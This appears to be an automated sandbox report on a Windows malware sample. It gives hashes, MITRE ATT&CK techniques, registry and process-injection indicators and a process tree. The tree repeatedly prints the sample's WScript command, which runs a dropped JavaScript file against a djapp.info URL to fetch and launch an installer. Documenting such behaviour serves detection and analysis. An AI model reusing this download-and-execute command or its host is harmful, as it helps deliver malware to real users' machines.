057704cd5426051d837ea6ec586c3fe237c65c27ada23c77ead9ae47de3e0a36

General

Target

a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe
Size

184KB
MD5

a74e6cb21c7689d5c6da6c393bf9a7d7
SHA1

11fcab5967177fde62c4427f4a0e416a397ef9eb
SHA256

057704cd5426051d837ea6ec586c3fe237c65c27ada23c77ead9ae47de3e0a36
SHA512

56b19314f0e278d2820ad32fce80193ce62a0861d6d1be23be2f0b3ac1984ab467e239f865e59a3693636ba272d9a6ac02525b3cb0d956fc52a993075ea156de
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndnr

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
14	2520	WScript.exe
29	3680	WScript.exe
51	2900	WScript.exe
62	3548	WScript.exe
65	456	WScript.exe
66	456	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4436	4888	WerFault.exe	90

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 2520	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	91
PID 4888 wrote to memory of 2520	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	91
PID 4888 wrote to memory of 2520	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	91
PID 4888 wrote to memory of 3680	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	96
PID 4888 wrote to memory of 3680	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	96
PID 4888 wrote to memory of 3680	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	96
PID 4888 wrote to memory of 2900	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	102
PID 4888 wrote to memory of 2900	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	102
PID 4888 wrote to memory of 2900	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	102
PID 4888 wrote to memory of 3548	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	104
PID 4888 wrote to memory of 3548	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	104
PID 4888 wrote to memory of 3548	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	104
PID 4888 wrote to memory of 456	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	105
PID 4888 wrote to memory of 456	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	105
PID 4888 wrote to memory of 456	4888	a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe	105

C:\Users\Admin\AppData\Local\Temp\a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a74e6cb21c7689d5c6da6c393bf9a7d7_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf269E.js" http://www.djapp.info/?domain=UIogicaNfp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf269E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2520
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf269E.js" http://www.djapp.info/?domain=UIogicaNfp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf269E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3680
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf269E.js" http://www.djapp.info/?domain=UIogicaNfp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf269E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2900
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf269E.js" http://www.djapp.info/?domain=UIogicaNfp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf269E.exe
  2⤵
  - Blocklisted process makes network request
  PID:3548
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf269E.js" http://www.djapp.info/?domain=UIogicaNfp.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf269E.exe
  2⤵
  - Blocklisted process makes network request
  PID:456
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 916
  2⤵
  - Program crash
  PID:4436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3856 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:8
1⤵
PID:380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4888 -ip 4888
1⤵
PID:4320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf269E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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